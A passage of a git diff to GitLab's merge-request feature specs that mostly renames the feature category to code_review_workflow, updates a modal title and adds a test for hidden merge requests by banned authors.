--- a/spec/features/merge_request/user_opens_checkout_branch_modal_spec.rb
+++ b/spec/features/merge_request/user_opens_checkout_branch_modal_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User opens checkout branch modal', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User opens checkout branch modal', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_opens_context_commits_modal_spec.rb b/spec/features/merge_request/user_opens_context_commits_modal_spec.rb
index f32a51cfcd4..99764e2c052 100644
--- a/spec/features/merge_request/user_opens_context_commits_modal_spec.rb
+++ b/spec/features/merge_request/user_opens_context_commits_modal_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > Context commits', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > Context commits', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/merge_request/user_posts_diff_notes_spec.rb b/spec/features/merge_request/user_posts_diff_notes_spec.rb
index f2ec0e2df6d..a74a8b1cd5a 100644
--- a/spec/features/merge_request/user_posts_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_diff_notes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User posts diff notes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User posts diff notes', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include Spec::Support::Helpers::ModalHelpers
diff --git a/spec/features/merge_request/user_posts_notes_spec.rb b/spec/features/merge_request/user_posts_notes_spec.rb
index 194e04a9544..f167ab8fe8a 100644
--- a/spec/features/merge_request/user_posts_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_notes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User posts notes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User posts notes', :js, feature_category: :code_review_workflow do
include NoteInteractionHelpers
let_it_be(:project) { create(:project, :repository) }
diff --git a/spec/features/merge_request/user_rebases_merge_request_spec.rb b/spec/features/merge_request/user_rebases_merge_request_spec.rb
index c3ee5ddc3b1..1b46b4e1d7f 100644
--- a/spec/features/merge_request/user_rebases_merge_request_spec.rb
+++ b/spec/features/merge_request/user_rebases_merge_request_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe "User rebases a merge request", :js, feature_category: :code_review do
+RSpec.describe "User rebases a merge request", :js, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request, :simple, source_project: project) }
let(:user) { project.first_owner }
diff --git a/spec/features/merge_request/user_resolves_conflicts_spec.rb b/spec/features/merge_request/user_resolves_conflicts_spec.rb
index d4c80c1e9e2..7b1afd786f7 100644
--- a/spec/features/merge_request/user_resolves_conflicts_spec.rb
+++ b/spec/features/merge_request/user_resolves_conflicts_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User resolves conflicts', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User resolves conflicts', :js, feature_category: :code_review_workflow do
include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
let(:project) { create(:project, :repository) }
diff --git a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
index f0507e94424..c3b9068d708 100644
--- a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
+++ b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User resolves diff notes and threads', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User resolves diff notes and threads', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:guest) { create(:user) }
diff --git a/spec/features/merge_request/user_resolves_outdated_diff_discussions_spec.rb b/spec/features/merge_request/user_resolves_outdated_diff_discussions_spec.rb
index a7508ede1a1..5c41ac79552 100644
--- a/spec/features/merge_request/user_resolves_outdated_diff_discussions_spec.rb
+++ b/spec/features/merge_request/user_resolves_outdated_diff_discussions_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User resolves outdated diff discussions', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User resolves outdated diff discussions',
+ :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :repository, :public) }
let(:merge_request) do
diff --git a/spec/features/merge_request/user_resolves_wip_mr_spec.rb b/spec/features/merge_request/user_resolves_wip_mr_spec.rb
index b7f20a16a3f..8a19a72f6ae 100644
--- a/spec/features/merge_request/user_resolves_wip_mr_spec.rb
+++ b/spec/features/merge_request/user_resolves_wip_mr_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User resolves Draft', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User resolves Draft', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) do
diff --git a/spec/features/merge_request/user_reverts_merge_request_spec.rb b/spec/features/merge_request/user_reverts_merge_request_spec.rb
index edfa9267871..43ce473b407 100644
--- a/spec/features/merge_request/user_reverts_merge_request_spec.rb
+++ b/spec/features/merge_request/user_reverts_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User reverts a merge request', :js, feature_category: :code_review do
+RSpec.describe 'User reverts a merge request', :js, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request, :simple, source_project: project) }
let(:project) { create(:project, :public, :repository) }
let(:user) { create(:user) }
diff --git a/spec/features/merge_request/user_reviews_image_spec.rb b/spec/features/merge_request/user_reviews_image_spec.rb
index 5814dc6b58c..815b006d029 100644
--- a/spec/features/merge_request/user_reviews_image_spec.rb
+++ b/spec/features/merge_request/user_reviews_image_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > image review', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > image review', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/user_scrolls_to_note_on_load_spec.rb b/spec/features/merge_request/user_scrolls_to_note_on_load_spec.rb
index fdd2aeec274..1c8bb903f7d 100644
--- a/spec/features/merge_request/user_scrolls_to_note_on_load_spec.rb
+++ b/spec/features/merge_request/user_scrolls_to_note_on_load_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User scrolls to note on load', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User scrolls to note on load', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, source_project: project, author: user) }
diff --git a/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb b/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
index 8c2fc62d16f..94393ea00e4 100644
--- a/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
include Spec::Support::Helpers::ModalHelpers # rubocop:disable Style/MixinUsage
-RSpec.describe 'Merge request > User sees avatars on diff notes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees avatars on diff notes', :js, feature_category: :code_review_workflow do
include NoteInteractionHelpers
include Spec::Support::Helpers::ModalHelpers
include MergeRequestDiffHelpers
diff --git a/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb b/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
index 0b6aefcdab6..4d91669f206 100644
--- a/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
+++ b/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'New merge request breadcrumb', feature_category: :code_review do
+RSpec.describe 'New merge request breadcrumb', feature_category: :code_review_workflow do
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb b/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
index bbfa2be47cc..ad2ceeb23e2 100644
--- a/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
+++ b/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
@@ -2,10 +2,11 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees check out branch modal', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees check out branch modal', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:modal_window_title) { 'Check out, review, and resolve locally' }
before do
sign_in(user)
@@ -17,12 +18,12 @@ RSpec.describe 'Merge request > User sees check out branch modal', :js, feature_
end
it 'shows the check out branch modal' do
- expect(page).to have_content('Check out, review, and merge locally')
+ expect(page).to have_content(modal_window_title)
end
it 'closes the check out branch modal with the close action' do
find('.modal button[aria-label="Close"]').click
- expect(page).not_to have_content('Check out, review, and merge locally')
+ expect(page).not_to have_content(modal_window_title)
end
end
diff --git a/spec/features/merge_request/user_sees_cherry_pick_modal_spec.rb b/spec/features/merge_request/user_sees_cherry_pick_modal_spec.rb
index 07b7cb1e8d8..411a2865b1a 100644
--- a/spec/features/merge_request/user_sees_cherry_pick_modal_spec.rb
+++ b/spec/features/merge_request/user_sees_cherry_pick_modal_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User cherry-picks', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User cherry-picks', :js, feature_category: :code_review_workflow do
let(:group) { create(:group) }
let(:project) { create(:project, :repository, namespace: group) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_closing_issues_message_spec.rb b/spec/features/merge_request/user_sees_closing_issues_message_spec.rb
index 9a1d47a13b5..3d41d5e24b2 100644
--- a/spec/features/merge_request/user_sees_closing_issues_message_spec.rb
+++ b/spec/features/merge_request/user_sees_closing_issues_message_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees closing issues message', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees closing issues message', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:issue_1) { create(:issue, project: project) }
diff --git a/spec/features/merge_request/user_sees_deleted_target_branch_spec.rb b/spec/features/merge_request/user_sees_deleted_target_branch_spec.rb
index 16ae8b4304b..5011bd6de14 100644
--- a/spec/features/merge_request/user_sees_deleted_target_branch_spec.rb
+++ b/spec/features/merge_request/user_sees_deleted_target_branch_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees deleted target branch', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees deleted target branch', :js, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request) }
let(:project) { merge_request.project }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_diff_spec.rb b/spec/features/merge_request/user_sees_diff_spec.rb
index 101ff8fc152..daeeaa1bd88 100644
--- a/spec/features/merge_request/user_sees_diff_spec.rb
+++ b/spec/features/merge_request/user_sees_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees diff', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees diff', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
include RepoHelpers
include MergeRequestDiffHelpers
diff --git a/spec/features/merge_request/user_sees_discussions_navigation_spec.rb b/spec/features/merge_request/user_sees_discussions_navigation_spec.rb
index a22fb2cff00..9d3046a9a72 100644
--- a/spec/features/merge_request/user_sees_discussions_navigation_spec.rb
+++ b/spec/features/merge_request/user_sees_discussions_navigation_spec.rb
@@ -2,14 +2,12 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees discussions navigation', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees discussions navigation', :js, feature_category: :code_review_workflow do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:user) { project.creator }
let_it_be(:merge_request) { create(:merge_request, source_project: project) }
before do
- # FIXME: before removing this please fix discussions navigation with this flag enabled
- stub_feature_flags(moved_mr_sidebar: false)
project.add_maintainer(user)
sign_in(user)
end
@@ -194,29 +192,10 @@ RSpec.describe 'Merge request > User sees discussions navigation', :js, feature_
end
def goto_next_thread
- begin
- # this is required when moved_mr_sidebar is enabled
- page.within('.issue-sticky-header') do
- click_button 'Go to next unresolved thread'
- end
- rescue StandardError
- click_button 'Go to next unresolved thread'
- end
- wait_for_scroll_end
+ click_button 'Go to next unresolved thread', obscured: false
end
def goto_previous_thread
- begin
- page.within('.issue-sticky-header') do
- click_button 'Go to previous unresolved thread'
- end
- rescue StandardError
- click_button 'Go to previous unresolved thread'
- end
- wait_for_scroll_end
- end
-
- def wait_for_scroll_end
- sleep(1)
+ click_button 'Go to previous unresolved thread', obscured: false
end
end
diff --git a/spec/features/merge_request/user_sees_discussions_spec.rb b/spec/features/merge_request/user_sees_discussions_spec.rb
index 0eae6e39eec..3ca5ac23ddb 100644
--- a/spec/features/merge_request/user_sees_discussions_spec.rb
+++ b/spec/features/merge_request/user_sees_discussions_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees threads', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees threads', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/merge_request/user_sees_merge_button_depending_on_unresolved_discussions_spec.rb b/spec/features/merge_request/user_sees_merge_button_depending_on_unresolved_discussions_spec.rb
index 6db5480abb4..b83580565e4 100644
--- a/spec/features/merge_request/user_sees_merge_button_depending_on_unresolved_discussions_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_button_depending_on_unresolved_discussions_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Merge request > User sees merge button depending on unresolved threads', :js,
-feature_category: :code_review do
+feature_category: :code_review_workflow do
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
let!(:merge_request) { create(:merge_request_with_diff_notes, source_project: project, author: user) }
diff --git a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
index f7594c717d1..458746f0854 100644
--- a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees pipelines triggered by merge request', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees pipelines triggered by merge request', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
include TestReportsHelper
diff --git a/spec/features/merge_request/user_sees_merge_widget_spec.rb b/spec/features/merge_request/user_sees_merge_widget_spec.rb
index e5aa0f6e64d..237f361bd72 100644
--- a/spec/features/merge_request/user_sees_merge_widget_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_widget_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees merge widget', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees merge widget', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
include TestReportsHelper
include ReactiveCachingHelpers
diff --git a/spec/features/merge_request/user_sees_mr_from_deleted_forked_project_spec.rb b/spec/features/merge_request/user_sees_mr_from_deleted_forked_project_spec.rb
index 4bfdce29c6a..fac0a84f155 100644
--- a/spec/features/merge_request/user_sees_mr_from_deleted_forked_project_spec.rb
+++ b/spec/features/merge_request/user_sees_mr_from_deleted_forked_project_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees MR from deleted forked project', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees MR from deleted forked project',
+ :js, feature_category: :code_review_workflow do
include ProjectForksHelper
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_sees_mr_with_deleted_source_branch_spec.rb b/spec/features/merge_request/user_sees_mr_with_deleted_source_branch_spec.rb
index 8e6f6d04676..9b46cf37648 100644
--- a/spec/features/merge_request/user_sees_mr_with_deleted_source_branch_spec.rb
+++ b/spec/features/merge_request/user_sees_mr_with_deleted_source_branch_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
# This test serves as a regression test for a bug that caused an error
# message to be shown by JavaScript when the source branch was deleted.
# Please do not remove ":js".
-RSpec.describe 'Merge request > User sees MR with deleted source branch', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees MR with deleted source branch',
+ :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb b/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
index 8f011f5616b..ac195dd9873 100644
--- a/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
+++ b/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees notes from forked project', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees notes from forked project', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_sees_page_metadata_spec.rb b/spec/features/merge_request/user_sees_page_metadata_spec.rb
index f97732f91a7..50fc60e342e 100644
--- a/spec/features/merge_request/user_sees_page_metadata_spec.rb
+++ b/spec/features/merge_request/user_sees_page_metadata_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees page metadata', feature_category: :code_review do
+RSpec.describe 'Merge request > User sees page metadata', feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request, description: '**Lorem** _ipsum_ dolor sit [amet](https://example.com)') }
let(:project) { merge_request.target_project }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_pipelines_spec.rb b/spec/features/merge_request/user_sees_pipelines_spec.rb
index 8faaf6bf39b..cab940ba704 100644
--- a/spec/features/merge_request/user_sees_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_pipelines_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees pipelines', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees pipelines', :js, feature_category: :code_review_workflow do
describe 'pipeline tab' do
let(:merge_request) { create(:merge_request) }
let(:project) { merge_request.target_project }
diff --git a/spec/features/merge_request/user_sees_system_notes_spec.rb b/spec/features/merge_request/user_sees_system_notes_spec.rb
index 40402c95d6f..d547aa84bdd 100644
--- a/spec/features/merge_request/user_sees_system_notes_spec.rb
+++ b/spec/features/merge_request/user_sees_system_notes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees system notes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees system notes', :js, feature_category: :code_review_workflow do
let(:public_project) { create(:project, :public, :repository) }
let(:private_project) { create(:project, :private, :repository) }
let(:user) { private_project.creator }
diff --git a/spec/features/merge_request/user_sees_versions_spec.rb b/spec/features/merge_request/user_sees_versions_spec.rb
index f0ff6e1769a..f94b288300a 100644
--- a/spec/features/merge_request/user_sees_versions_spec.rb
+++ b/spec/features/merge_request/user_sees_versions_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees versions', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User sees versions', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
let(:merge_request) do
diff --git a/spec/features/merge_request/user_sees_wip_help_message_spec.rb b/spec/features/merge_request/user_sees_wip_help_message_spec.rb
index 1a751af6ded..fdefe5ffb06 100644
--- a/spec/features/merge_request/user_sees_wip_help_message_spec.rb
+++ b/spec/features/merge_request/user_sees_wip_help_message_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees draft help message', feature_category: :code_review do
+RSpec.describe 'Merge request > User sees draft help message', feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb b/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
index 8b6c9dc18f6..b7784de12b9 100644
--- a/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
+++ b/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User selects branches for new MR', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User selects branches for new MR', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_squashes_merge_request_spec.rb b/spec/features/merge_request/user_squashes_merge_request_spec.rb
index 43590aed3cc..63faf830f7e 100644
--- a/spec/features/merge_request/user_squashes_merge_request_spec.rb
+++ b/spec/features/merge_request/user_squashes_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User squashes a merge request', :js, feature_category: :code_review do
+RSpec.describe 'User squashes a merge request', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:source_branch) { 'csv' }
diff --git a/spec/features/merge_request/user_suggests_changes_on_diff_spec.rb b/spec/features/merge_request/user_suggests_changes_on_diff_spec.rb
index 5a5494a2fe9..efd88df0f97 100644
--- a/spec/features/merge_request/user_suggests_changes_on_diff_spec.rb
+++ b/spec/features/merge_request/user_suggests_changes_on_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User comments on a diff', :js, feature_category: :code_review do
+RSpec.describe 'User comments on a diff', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb b/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
index 993eb59cb74..15715a6d775 100644
--- a/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
+++ b/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User toggles whitespace changes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User toggles whitespace changes', :js, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request) }
let(:project) { merge_request.project }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_tries_to_access_private_project_info_through_new_mr_spec.rb b/spec/features/merge_request/user_tries_to_access_private_project_info_through_new_mr_spec.rb
index 5095457509a..5770f5ab94d 100644
--- a/spec/features/merge_request/user_tries_to_access_private_project_info_through_new_mr_spec.rb
+++ b/spec/features/merge_request/user_tries_to_access_private_project_info_through_new_mr_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Merge Request > User tries to access private project information through the new mr page',
-feature_category: :code_review do
+feature_category: :code_review_workflow do
let(:current_user) { create(:user) }
let(:private_project) do
create(:project, :public, :repository,
diff --git a/spec/features/merge_request/user_uses_quick_actions_spec.rb b/spec/features/merge_request/user_uses_quick_actions_spec.rb
index 99befbace74..1a88918da65 100644
--- a/spec/features/merge_request/user_uses_quick_actions_spec.rb
+++ b/spec/features/merge_request/user_uses_quick_actions_spec.rb
@@ -8,7 +8,7 @@ require 'spec_helper'
# Because this kind of spec takes more time to run there is no need to add new ones
# for each existing quick action unless they test something not tested by existing tests.
RSpec.describe 'Merge request > User uses quick actions', :js, :use_clean_rails_redis_caching,
-feature_category: :code_review do
+feature_category: :code_review_workflow do
include Spec::Support::Helpers::Features::NotesHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb b/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
index 19a77a9192c..57072421986 100644
--- a/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
+++ b/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views diffs file-by-file', :js, feature_category: :code_review do
+RSpec.describe 'User views diffs file-by-file', :js, feature_category: :code_review_workflow do
let(:merge_request) do
create(:merge_request, source_branch: 'squash-large-files', source_project: project, target_project: project)
end
diff --git a/spec/features/merge_request/user_views_diffs_commit_spec.rb b/spec/features/merge_request/user_views_diffs_commit_spec.rb
index 84cbfb35539..ba1b41982c9 100644
--- a/spec/features/merge_request/user_views_diffs_commit_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_commit_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views diff by commit', :js, feature_category: :code_review do
+RSpec.describe 'User views diff by commit', :js, feature_category: :code_review_workflow do
let(:merge_request) do
create(:merge_request_with_diffs, source_project: project, target_project: project, source_branch: 'merge-test')
end
diff --git a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
index 9db6f86e14d..4d59bd4ccb0 100644
--- a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views diffs file-by-file', :js, feature_category: :code_review do
+RSpec.describe 'User views diffs file-by-file', :js, feature_category: :code_review_workflow do
let(:merge_request) do
create(:merge_request_with_diffs, source_project: project, target_project: project, source_branch: 'merge-test')
end
diff --git a/spec/features/merge_request/user_views_diffs_spec.rb b/spec/features/merge_request/user_views_diffs_spec.rb
index 7363f6dfb32..6b759625c61 100644
--- a/spec/features/merge_request/user_views_diffs_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views diffs', :js, feature_category: :code_review do
+RSpec.describe 'User views diffs', :js, feature_category: :code_review_workflow do
let(:merge_request) do
create(:merge_request_with_diffs, source_project: project, target_project: project, source_branch: 'merge-test')
end
diff --git a/spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb b/spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb
index 2a9275adfcf..8f448d06db1 100644
--- a/spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb
+++ b/spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb
@@ -6,7 +6,7 @@ require 'spec_helper'
# updated.
# This can occur when the fork a merge request is created from is in the process
# of being destroyed.
-RSpec.describe 'User views merged merge request from deleted fork', feature_category: :code_review do
+RSpec.describe 'User views merged merge request from deleted fork', feature_category: :code_review_workflow do
include ProjectForksHelper
let(:project) { create(:project, :repository) }
diff --git a/spec/features/merge_request/user_views_open_merge_request_spec.rb b/spec/features/merge_request/user_views_open_merge_request_spec.rb
index 8b9e973217d..e481e3f2dfb 100644
--- a/spec/features/merge_request/user_views_open_merge_request_spec.rb
+++ b/spec/features/merge_request/user_views_open_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views an open merge request', feature_category: :code_review do
+RSpec.describe 'User views an open merge request', feature_category: :code_review_workflow do
let(:merge_request) do
create(:merge_request, source_project: project, target_project: project, description: '# Description header')
end
diff --git a/spec/features/merge_requests/admin_views_hidden_merge_requests_spec.rb b/spec/features/merge_requests/admin_views_hidden_merge_requests_spec.rb
new file mode 100644
index 00000000000..e7727fbb9dc
--- /dev/null
+++ b/spec/features/merge_requests/admin_views_hidden_merge_requests_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Admin views hidden merge requests', feature_category: :insider_threat do
+ context 'when signed in as admin and viewing a hidden merge request' do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:author) { create(:user, :banned) }
+ let_it_be(:project) { create(:project) }
+ let!(:merge_request) { create(:merge_request, source_project: project, author: author) }
+
+ before do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
+ visit(project_merge_requests_path(project))
+ end
+
+ it 'shows a hidden merge request icon' do
+ page.within("#merge_request_#{merge_request.id}") do
+ tooltip = format(_('This %{issuable} is hidden because its author has been banned'),
+ issuable: _('merge request'))
+ expect(page).to have_css("span[title='#{tooltip}']")
+ expect(page).to have_css('svg[data-testid="spam-icon"]')
+ end
+ end
+ end
+end
diff --git a/spec/features/merge_requests/filters_generic_behavior_spec.rb b/spec/features/merge_requests/filters_generic_behavior_spec.rb
index 0d6b5edcbab..197b9fa770d 100644
--- a/spec/features/merge_requests/filters_generic_behavior_spec.rb
+++ b/spec/features/merge_requests/filters_generic_behavior_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > Filters generic behavior', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > Filters generic behavior', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/rss_spec.rb b/spec/features/merge_requests/rss_spec.rb
index 4c73ce3b684..9c9f46278f6 100644
--- a/spec/features/merge_requests/rss_spec.rb
+++ b/spec/features/merge_requests/rss_spec.rb
